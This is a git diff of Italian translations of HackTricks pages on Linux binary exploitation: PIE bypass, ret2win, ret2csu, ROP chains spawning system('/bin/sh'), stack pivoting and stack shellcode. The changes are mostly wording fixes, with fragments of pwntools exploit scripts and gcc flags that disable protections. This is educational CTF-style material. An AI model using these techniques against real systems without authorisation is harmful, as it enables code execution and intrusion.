-Oppure puoi usare questo per il tuo exploit, se leak che un indirizzo si trova a **`0x649e1024`** sai che l'**indirizzo base è `0x649e1000`** e da lì puoi semplicemente **calcolare gli offset** delle funzioni e delle posizioni.
+Oppure puoi usare questo per il tuo exploit, se leak un indirizzo situato a **`0x649e1024`** sai che l'**indirizzo base è `0x649e1000`** e da lì puoi semplicemente **calcolare gli offset** delle funzioni e delle posizioni.
 
 ## Bypass
 
@@ -17,13 +17,13 @@ Per bypassare PIE è necessario **leakare un indirizzo del binario caricato**, c
 
 - **ASLR disabilitato**: Se ASLR è disabilitato, un binario compilato con PIE verrà sempre **caricato nello stesso indirizzo**, quindi **PIE sarà inutile** poiché gli indirizzi degli oggetti saranno sempre nello stesso posto.
 - Essere **forniti** del leak (comune nelle sfide CTF facili, [**controlla questo esempio**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
-- **Brute-force dei valori EBP ed EIP** nello stack fino a leakare quelli corretti:
+- **Brute-force i valori EBP ed EIP** nello stack fino a leakare quelli corretti:
 
 {{#ref}}
 bypassing-canary-and-pie.md
 {{#endref}}
 
-- Utilizzare una vulnerabilità di lettura arbitraria come [**format string**](../../format-strings/) per leakare un indirizzo del binario (ad es. dallo stack, come nella tecnica precedente) per ottenere la base del binario e utilizzare offset da lì. [**Trova un esempio qui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
+- Utilizzare una vulnerabilità di lettura arbitraria come [**format string**](../../format-strings/index.html) per leakare un indirizzo del binario (ad es. dallo stack, come nella tecnica precedente) per ottenere la base del binario e utilizzare offset da lì. [**Trova un esempio qui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
 
 ## Riferimenti
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md

@@ -2,7 +2,7 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Cos'è uno Stack Overflow
+## Che cos'è uno Stack Overflow
 
 Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input.
 
@@ -24,7 +24,7 @@ printf("You entered: %s\n", buffer);
 
 Il modo più comune per trovare stack overflow è fornire un input molto grande di `A`s (ad esempio `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che l'**indirizzo `0x41414141` è stato tentato di essere accesso**.
 
-Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non sarà possibile **sovrascrivere l'indirizzo di ritorno**, per questo di solito si utilizza una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza **_**n**_** appare esattamente una volta** come sottosequenza contigua.
+Inoltre, una volta trovata la vulnerabilità di Stack Overflow, sarà necessario trovare l'offset fino a quando non sarà possibile **sovrascrivere l'indirizzo di ritorno**; per questo si usa solitamente una **sequenza di De Bruijn.** Che per un dato alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_ è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza **_**n**_** appare esattamente una volta** come sottosequenza contigua.
 
 In questo modo, invece di dover capire manualmente quale offset è necessario per controllare l'EIP, è possibile utilizzare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverlo.
 
@@ -49,14 +49,14 @@ pattern search $rsp #Search the offset given the content of $rsp
 ```
 ## Sfruttamento degli Overflow dello Stack
 
-Durante un overflow (supponendo che la dimensione dell'overflow sia abbastanza grande) sarai in grado di sovrascrivere i valori delle variabili locali all'interno dello stack fino a raggiungere l'EBP/RBP e l'EIP/RIP salvati (o anche di più).\
-Il modo più comune per abusare di questo tipo di vulnerabilità è **modificare l'indirizzo di ritorno** in modo che quando la funzione termina, **il flusso di controllo verrà reindirizzato ovunque l'utente abbia specificato** in questo puntatore.
+Durante un overflow (supponendo che la dimensione dell'overflow sia abbastanza grande) sarai in grado di sovrascrivere i valori delle variabili locali all'interno dello stack fino a raggiungere il EBP/RBP e EIP/RIP salvati (o anche di più).\
+Il modo più comune per abusare di questo tipo di vulnerabilità è **modificare l'indirizzo di ritorno** in modo che, quando la funzione termina, **il flusso di controllo venga reindirizzato ovunque l'utente abbia specificato** in questo puntatore.
 
-Tuttavia, in altri scenari, potrebbe essere sufficiente **sovrascrivere alcuni valori delle variabili nello stack** per l'esploitazione (come nelle facili sfide CTF).
+Tuttavia, in altri scenari, potrebbe essere sufficiente **sovrascrivere alcuni valori delle variabili nello stack** per l'exploitation (come in semplici sfide CTF).
 
 ### Ret2win
 
-In questo tipo di sfide CTF, c'è una **funzione** **all'interno** del binario che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste sfide devi solo trovare l'**offset per sovrascrivere l'indirizzo di ritorno** e **trovare l'indirizzo della funzione** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/) sarebbe disabilitato) in modo che quando la funzione vulnerabile restituisce, la funzione nascosta verrà chiamata:
+In questo tipo di sfide CTF, c'è una **funzione** **all'interno** del binario che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste sfide devi solo trovare l'**offset per sovrascrivere l'indirizzo di ritorno** e **trovare l'indirizzo della funzione** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sarebbe disabilitato) in modo che, quando la funzione vulnerabile restituisce, la funzione nascosta venga chiamata:
 
 {{#ref}}
 ret2win.md

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2csu.md

@@ -4,7 +4,7 @@
 
 ## Informazioni di Base
 
-**ret2csu** è una tecnica di hacking utilizzata quando stai cercando di prendere il controllo di un programma ma non riesci a trovare i **gadgets** che di solito usi per manipolare il comportamento del programma. 
+**ret2csu** è una tecnica di hacking utilizzata quando si cerca di prendere il controllo di un programma ma non si riescono a trovare i **gadgets** che si usano di solito per manipolare il comportamento del programma. 
 
 Quando un programma utilizza determinate librerie (come libc), ha alcune funzioni integrate per gestire come i diversi pezzi del programma comunicano tra loro. Tra queste funzioni ci sono alcune gemme nascoste che possono agire come i nostri gadgets mancanti, in particolare una chiamata `__libc_csu_init`.
 
@@ -35,12 +35,12 @@ call qword [r15 + rbx*8];
 ```
 ## Esempio
 
-Immagina di voler effettuare una syscall o chiamare una funzione come `write()` ma hai bisogno di valori specifici nei registri `rdx` e `rsi` come parametri. Normalmente, cercheresti gadget che impostano direttamente questi registri, ma non riesci a trovarne.
+Immagina di voler effettuare una syscall o chiamare una funzione come `write()`, ma hai bisogno di valori specifici nei registri `rdx` e `rsi` come parametri. Normalmente, cercheresti gadget che impostano direttamente questi registri, ma non riesci a trovarne.
 
 Ecco dove entra in gioco **ret2csu**:
 
 1. **Imposta i Registri**: Usa il primo gadget magico per estrarre valori dallo stack e inserirli in rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) e r15.
-2. **Usa il Secondo Gadget**: Con quei registri impostati, usi il secondo gadget. Questo ti consente di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far chiamare al programma una funzione situata all'indirizzo che calcoli e posizioni in `[r15 + rbx*8]`.
+2. **Usa il Secondo Gadget**: Con quei registri impostati, utilizzi il secondo gadget. Questo ti consente di spostare i valori scelti in `rdx` e `rsi` (da r14 e r13, rispettivamente), preparando i parametri per una chiamata di funzione. Inoltre, controllando `r15` e `rbx`, puoi far sì che il programma chiami una funzione situata all'indirizzo che calcoli e posizioni in `[r15 + rbx*8]`.
 
 Hai un [**esempio che utilizza questa tecnica e la spiega qui**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), e questo è l'exploit finale che ha utilizzato:
 ```python
@@ -67,10 +67,10 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 > [!WARNING]
-> Nota che l'exploit precedente non è destinato a fare un **`RCE`**, ma è destinato solo a chiamare una funzione chiamata `win` (prendendo l'indirizzo di `win` da stdin chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore `0xdeadbeefcafed00d`.
+> Nota che l'exploit precedente non è destinato a fare un **`RCE`**, è destinato solo a chiamare una funzione chiamata `win` (prendendo l'indirizzo di `win` dall'input standard chiamando gets nella catena ROP e memorizzandolo in r15) con un terzo argomento con il valore `0xdeadbeefcafed00d`.
 
 ### Perché Non Usare Direttamente libc?
 
-Di solito, questi casi sono anche vulnerabili a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), ma a volte è necessario controllare più parametri di quanti possano essere facilmente controllati con i gadget che trovi direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri, e **trovare gadget per impostare tutti questi direttamente potrebbe non essere possibile**.
+Di solito, questi casi sono anche vulnerabili a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/index.html), ma a volte è necessario controllare più parametri di quanti possano essere facilmente controllati con i gadget che trovi direttamente in libc. Ad esempio, la funzione `write()` richiede tre parametri, e **trovare gadget per impostare tutti questi direttamente potrebbe non essere possibile**.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md

@@ -6,7 +6,7 @@
 
 **Poiché l'ESP (Stack Pointer) punta sempre alla cima dello stack**, questa tecnica prevede di sostituire l'EIP (Instruction Pointer) con l'indirizzo di un'istruzione **`jmp esp`** o **`call esp`**. Facendo ciò, il shellcode viene posizionato subito dopo l'EIP sovrascritto. Quando viene eseguita l'istruzione `ret`, l'ESP punta all'indirizzo successivo, precisamente dove è memorizzato il shellcode.
 
-Se **Address Space Layout Randomization (ASLR)** non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni `jmp esp` o `call esp` trovate nelle librerie condivise. Tuttavia, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/) attivo, potrebbe essere necessario cercare all'interno del programma vulnerabile stesso per queste istruzioni (e potrebbe essere necessario sconfiggere [**PIE**](../common-binary-protections-and-bypasses/pie/)).
+Se **Address Space Layout Randomization (ASLR)** non è abilitato in Windows o Linux, è possibile utilizzare le istruzioni `jmp esp` o `call esp` trovate nelle librerie condivise. Tuttavia, con [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) attivo, potrebbe essere necessario cercare all'interno del programma vulnerabile stesso per queste istruzioni (e potrebbe essere necessario sconfiggere [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)).
 
 Inoltre, essere in grado di posizionare il shellcode **dopo la corruzione dell'EIP**, piuttosto che nel mezzo dello stack, garantisce che eventuali istruzioni `push` o `pop` eseguite durante l'operazione della funzione non interferiscano con il shellcode. Questa interferenza potrebbe verificarsi se il shellcode fosse posizionato nel mezzo dello stack della funzione.
 
@@ -52,7 +52,7 @@ Puoi trovare un esempio qui: [https://ir0nstone.gitbook.io/notes/types/stack/rel
 ## Protezioni
 
 - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Se lo stack non è eseguibile, questo non aiuterà poiché dobbiamo posizionare il shellcode nello stack e saltare per eseguirlo.
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Questi possono rendere più difficile trovare un'istruzione per saltare a esp o a qualsiasi altro registro.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) & [**PIE**](../common-binary-protections-and-bypasses/pie/index.html): Questi possono rendere più difficile trovare un'istruzione per saltare a esp o a qualsiasi altro registro.
 
 ## Riferimenti
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md

@@ -6,9 +6,9 @@
 
 Le sfide **Ret2win** sono una categoria popolare nelle competizioni **Capture The Flag (CTF)**, in particolare in compiti che coinvolgono **binary exploitation**. L'obiettivo è sfruttare una vulnerabilità in un dato binario per eseguire una funzione specifica, non invocata, all'interno del binario, spesso chiamata qualcosa come `win`, `flag`, ecc. Questa funzione, quando eseguita, di solito stampa un flag o un messaggio di successo. La sfida comporta tipicamente la sovrascrittura dell'**indirizzo di ritorno** nello stack per deviare il flusso di esecuzione verso la funzione desiderata. Ecco una spiegazione più dettagliata con esempi:
 
-### Esempio C
+### Esempio in C
 
-Considera un semplice programma C con una vulnerabilità e una funzione `win` che intendiamo chiamare:
+Considera un semplice programma in C con una vulnerabilità e una funzione `win` che intendiamo chiamare:
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -27,7 +27,7 @@ vulnerable_function();
 return 0;
 }
 ```
-Per compilare questo programma senza protezioni dello stack e con **ASLR** disabilitato, puoi usare il seguente comando:
+Per compilare questo programma senza protezioni dello stack e con **ASLR** disabilitato, puoi utilizzare il seguente comando:
 ```sh
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
@@ -69,8 +69,8 @@ Lo script Python invia un messaggio accuratamente progettato che, quando elabora
 
 ## Protezioni
 
-- [**PIE**](../common-binary-protections-and-bypasses/pie/) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona ASLR, le ultime tre nibble esadecimali non sono randomizzate, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) dovrebbero essere anch'esse disabilitate o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
+- [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win. In alcuni casi, quando la funzione che causa il trabocco è `read` o simile, puoi fare un **Partial Overwrite** di 1 o 2 byte per cambiare l'indirizzo di ritorno in modo che sia la funzione win. A causa di come funziona l'ASLR, le ultime tre nibble esadecimali non sono randomizzate, quindi c'è una **1/16 possibilità** (1 nibble) di ottenere l'indirizzo di ritorno corretto.
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
 
 ## Altri esempi & Riferimenti
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md

@@ -9,7 +9,7 @@
 ### Come Funziona ROP
 
 1. **Dirottamento del Flusso di Controllo**: Prima, un attaccante deve dirottare il flusso di controllo di un programma, tipicamente sfruttando un buffer overflow per sovrascrivere un indirizzo di ritorno salvato nello stack.
-2. **Collegamento dei Gadget**: L'attaccante seleziona e collega con attenzione i gadget per eseguire le azioni desiderate. Questo potrebbe comportare la configurazione degli argomenti per una chiamata di funzione, chiamare la funzione (ad esempio, `system("/bin/sh")`), e gestire eventuali operazioni di pulizia o aggiuntive necessarie.
+2. **Collegamento dei Gadget**: L'attaccante seleziona e collega con attenzione i gadget per eseguire le azioni desiderate. Questo potrebbe comportare la preparazione degli argomenti per una chiamata di funzione, chiamare la funzione (ad esempio, `system("/bin/sh")`), e gestire eventuali operazioni di pulizia o aggiuntive necessarie.
 3. **Esecuzione del Payload**: Quando la funzione vulnerabile restituisce, invece di tornare a una posizione legittima, inizia a eseguire la catena di gadget.
 
 ### Strumenti
@@ -29,7 +29,7 @@ Prima, assumiamo di aver identificato i gadget necessari all'interno del binario
 
 - `pop eax; ret`: Questo gadget estrae il valore superiore dello stack nel registro `EAX` e poi restituisce, permettendoci di controllare `EAX`.
 - `pop ebx; ret`: Simile a quello sopra, ma per il registro `EBX`, abilitando il controllo su `EBX`.
-- `mov [ebx], eax; ret`: Sposta il valore in `EAX` nella posizione di memoria puntata da `EBX` e poi restituisce. Questo è spesso chiamato un **write-what-where gadget**.
+- `mov [ebx], eax; ret`: Sposta il valore in `EAX` nella posizione di memoria puntata da `EBX` e poi restituisce. Questo è spesso chiamato un **gadget write-what-where**.
 - Inoltre, abbiamo l'indirizzo della funzione `system()` disponibile.
 
 ### **Catena ROP**
@@ -37,7 +37,7 @@ Prima, assumiamo di aver identificato i gadget necessari all'interno del binario
 Utilizzando **pwntools**, prepariamo lo stack per l'esecuzione della catena ROP come segue, mirando a eseguire `system('/bin/sh')`, nota come la catena inizia con:
 
 1. Un'istruzione `ret` per scopi di allineamento (opzionale)
-2. Indirizzo della funzione `system` (supponendo ASLR disabilitato e libc conosciuta, maggiori informazioni in [**Ret2lib**](ret2lib/))
+2. Indirizzo della funzione `system` (supponendo ASLR disabilitato e libc conosciuta, maggiori informazioni in [**Ret2lib**](ret2lib/index.html))
 3. Segnaposto per l'indirizzo di ritorno da `system()`
 4. Indirizzo della stringa `"/bin/sh"` (parametro per la funzione system)
 ```python
@@ -83,16 +83,16 @@ p.interactive()
 
 #### **Finding Gadgets**
 
-Per il nostro scopo, concentriamoci sui gadget che ci permetteranno di impostare il **registro RDI** (per passare la stringa **"/bin/sh"** come argomento a **system()**) e poi chiamare la funzione **system()**. Assumeremo di aver identificato i seguenti gadget:
+Per il nostro scopo, concentriamoci sui gadget che ci permetteranno di impostare il registro **RDI** (per passare la stringa **"/bin/sh"** come argomento a **system()**) e poi chiamare la funzione **system()**. Assumeremo di aver identificato i seguenti gadget:
 
-- **pop rdi; ret**: Estrae il valore superiore dello stack in **RDI** e poi ritorna. Essenziale per impostare il nostro argomento per **system()**.
+- **pop rdi; ret**: Estrae il valore superiore dello stack in **RDI** e poi restituisce. Essenziale per impostare il nostro argomento per **system()**.
 - **ret**: Un semplice ritorno, utile per l'allineamento dello stack in alcuni scenari.
 
 E sappiamo l'indirizzo della funzione **system()**.
 
 ### **ROP Chain**
 
-Di seguito è riportato un esempio che utilizza **pwntools** per impostare ed eseguire una ROP chain mirata a eseguire **system('/bin/sh')** su **x64**:
+Di seguito è riportato un esempio che utilizza **pwntools** per impostare ed eseguire una ROP chain mirata ad eseguire **system('/bin/sh')** su **x64**:
 ```python
 from pwn import *
 
@@ -131,21 +131,21 @@ In questo esempio:
 
 - Utilizziamo il gadget **`pop rdi; ret`** per impostare **`RDI`** all'indirizzo di **`"/bin/sh"`**.
 - Saltiamo direttamente a **`system()`** dopo aver impostato **`RDI`**, con l'indirizzo di **system()** nella catena.
-- **`ret_gadget`** è utilizzato per l'allineamento se l'ambiente target lo richiede, il che è più comune in **x64** per garantire un corretto allineamento dello stack prima di chiamare le funzioni.
+- **`ret_gadget`** è usato per l'allineamento se l'ambiente di destinazione lo richiede, il che è più comune in **x64** per garantire un corretto allineamento dello stack prima di chiamare le funzioni.
 
 ### Allineamento dello Stack
 
-**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione di chiamata**. **LIBC**, per ottimizzare le prestazioni, **utilizza istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (significa che **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, basta aggiungere un **gadget ret** prima di chiamare **system** nella tua catena ROP.
+**L'ABI x86-64** garantisce che lo **stack sia allineato a 16 byte** quando viene eseguita un'**istruzione di chiamata**. **LIBC**, per ottimizzare le prestazioni, **usa istruzioni SSE** (come **movaps**) che richiedono questo allineamento. Se lo stack non è allineato correttamente (significa che **RSP** non è un multiplo di 16), le chiamate a funzioni come **system** falliranno in una **catena ROP**. Per risolvere questo problema, basta aggiungere un **gadget ret** prima di chiamare **system** nella tua catena ROP.
 
 ## Differenza principale tra x86 e x64
 
 > [!TIP]
-> Poiché x64 utilizza registri per i primi argomenti, richiede spesso meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. L'aumento del numero di registri e dello spazio degli indirizzi più ampio nell'architettura **x64** offre sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP).
+> Poiché x64 utilizza registri per i primi argomenti, spesso richiede meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio degli indirizzi più ampio. L'aumento del numero di registri e lo spazio degli indirizzi più ampio nell'architettura **x64** offrono sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP).
 
 ## Protezioni
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/)
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)
+- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/index.html)
 
 ## Altri Esempi e Riferimenti
 

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

@@ -18,8 +18,8 @@ E come se l'**EBP è nello stack** prima dell'EIP, è possibile controllarlo con
 
 Questa tecnica è particolarmente utile quando puoi **modificare il registro EBP ma non hai un modo diretto per cambiare il registro EIP**. Sfrutta il comportamento delle funzioni quando terminano l'esecuzione.
 
-Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendo effettivamente puntare a un indirizzo memorizzato dall'attaccante lì.**\
-Nota come **devi conoscere 2 indirizzi**: Quello dove l'ESP andrà, dove dovrai scrivere l'indirizzo a cui punta l'ESP.
+Se, durante l'esecuzione di `fvuln`, riesci a iniettare un **fake EBP** nello stack che punta a un'area della memoria dove si trova l'indirizzo del tuo shellcode (più 4 byte per tenere conto dell'operazione `pop`), puoi controllare indirettamente l'EIP. Quando `fvuln` restituisce, l'ESP è impostato su questa posizione creata, e l'operazione `pop` successiva diminuisce l'ESP di 4, **facendolo puntare effettivamente a un indirizzo memorizzato dall'attaccante lì.**\
+Nota come **devi conoscere 2 indirizzi**: Quello dove andrà l'ESP, dove dovrai scrivere l'indirizzo a cui punta l'ESP.
 
 #### Costruzione dell'Exploit
 
@@ -30,7 +30,7 @@ Poi, devi conoscere l'indirizzo utilizzato da `ret` che **eseguirà codice arbit
 - Un indirizzo valido [**ONE_GADGET**](https://github.com/david942j/one_gadget).
 - L'indirizzo di **`system()`** seguito da **4 byte spazzatura** e l'indirizzo di `"/bin/sh"` (x86 bits).
 - L'indirizzo di un gadget **`jump esp;`** ([**ret2esp**](ret2esp-ret2reg.md)) seguito dal **shellcode** da eseguire.
-- Alcuna catena [**ROP**](rop-return-oriented-programing.md)
+- Alcuna catena [**ROP**](rop-return-oriented-programing.md).
 
 Ricorda che prima di qualsiasi di questi indirizzi nella parte controllata della memoria, devono esserci **`4` byte** a causa della parte **`pop`** dell'istruzione `leave`. Sarebbe possibile abusare di questi 4B per impostare un **secondo fake EBP** e continuare a controllare l'esecuzione.
 
@@ -40,18 +40,18 @@ C'è una variante specifica di questa tecnica nota come "Off-By-One Exploit". Vi
 
 ### **EBP Chaining**
 
-Pertanto, mettendo un indirizzo controllato nell'entrata `EBP` dello stack e un indirizzo per `leave; ret` nell'EIP, è possibile **spostare l'`ESP` all'indirizzo `EBP` controllato dallo stack**.
+Pertanto, mettendo un indirizzo controllato nell'entrata `EBP` dello stack e un indirizzo per `leave; ret` in `EIP`, è possibile **spostare l'`ESP` all'indirizzo `EBP` controllato dallo stack**.
 
 Ora, l'**`ESP`** è controllato puntando a un indirizzo desiderato e la prossima istruzione da eseguire è un `RET`. Per abusare di questo, è possibile posizionare nel posto controllato dell'ESP questo:
 
-- **`&(next fake EBP)`** -> Carica il nuovo EBP a causa di `pop ebp` dall'istruzione `leave`
-- **`system()`** -> Chiamato da `ret`
-- **`&(leave;ret)`** -> Chiamato dopo che system termina, sposterà l'ESP al fake EBP e ricomincerà
-- **`&("/bin/sh")`**-> Parametro per `system`
+- **`&(next fake EBP)`** -> Carica il nuovo EBP a causa di `pop ebp` dall'istruzione `leave`.
+- **`system()`** -> Chiamato da `ret`.
+- **`&(leave;ret)`** -> Chiamato dopo che il sistema termina, sposterà l'ESP al fake EBP e ricomincerà.
+- **`&("/bin/sh")`**-> Parametro per `system`.
 
-Fondamentalmente in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
+Fondamentalmente, in questo modo è possibile concatenare diversi fake EBP per controllare il flusso del programma.
 
-Questo è simile a un [ret2lib](ret2lib/), ma più complesso senza apparenti vantaggi ma potrebbe essere interessante in alcuni casi limite.
+Questo è simile a un [ret2lib](ret2lib/index.html), ma più complesso senza apparenti vantaggi, ma potrebbe essere interessante in alcuni casi limite.
 
 Inoltre, qui hai un [**esempio di una sfida**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) che utilizza questa tecnica con una **stack leak** per chiamare una funzione vincente. Questo è il payload finale dalla pagina:
 ```python
@@ -91,8 +91,8 @@ print(p.recvline())
 ```
 ## EBP è inutile
 
-Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, l'**EBP non controlla mai l'ESP**, quindi, qualsiasi exploit che funziona controllando l'EBP fallirà sostanzialmente perché non ha alcun effetto reale.\
-Questo perché i **prologhi e gli epiloghi cambiano** se il binario è ottimizzato.
+Come [**spiegato in questo post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), se un binario è compilato con alcune ottimizzazioni, l'**EBP non controlla mai l'ESP**, quindi, qualsiasi exploit che funziona controllando l'EBP fallirà fondamentalmente perché non ha alcun effetto reale.\
+Questo perché i **prologhi ed epiloghi cambiano** se il binario è ottimizzato.
 
 - **Non ottimizzato:**
 ```bash

src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md

@@ -4,7 +4,7 @@
 
 ## Informazioni di Base
 
-**Stack shellcode** è una tecnica utilizzata nell'exploitation binaria in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il **Puntatore Istruzione (IP)** o **Puntatore Istruzione Esteso (EIP)** per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, inclusa un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con **pwntools**.
+**Stack shellcode** è una tecnica utilizzata nell'exploitation binaria in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico utilizzato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, inclusa un semplice esempio in C e come potresti scrivere un exploit corrispondente utilizzando Python con **pwntools**.
 
 ### Esempio C: Un Programma Vulnerabile
 
@@ -35,11 +35,11 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 - `-fno-stack-protector`: Disabilita la protezione dello stack.
 - `-z execstack`: Rende lo stack eseguibile, il che è necessario per eseguire shellcode memorizzato nello stack.
 - `-no-pie`: Disabilita l'Eseguibile Indipendente dalla Posizione, rendendo più facile prevedere l'indirizzo di memoria in cui si troverà il nostro shellcode.
-- `-m32`: Compila il programma come un eseguibile a 32 bit, spesso usato per semplicità nello sviluppo di exploit.
+- `-m32`: Compila il programma come eseguibile a 32 bit, spesso utilizzato per semplicità nello sviluppo di exploit.
 
-### Python Exploit usando Pwntools
+### Python Exploit using Pwntools
 
-Ecco come potresti scrivere un exploit in Python usando **pwntools** per eseguire un attacco **ret2shellcode**:
+Ecco come potresti scrivere un exploit in Python utilizzando **pwntools** per eseguire un attacco **ret2shellcode**:
 ```python
 from pwn import *
 
@@ -72,9 +72,9 @@ Il **NOP slide** (`asm('nop')`) è usato per aumentare la possibilità che l'ese
 
 ## Protezioni
 
-- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo dove la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
-- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/) dovrebbero essere anch'essi disabilitati o l'indirizzo di ritorno EIP compromesso non sarà mai seguito.
-- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protezione impedirebbe l'esecuzione del shellcode all'interno dello stack perché quella regione non sarà eseguibile.
+- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra le esecuzioni o l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
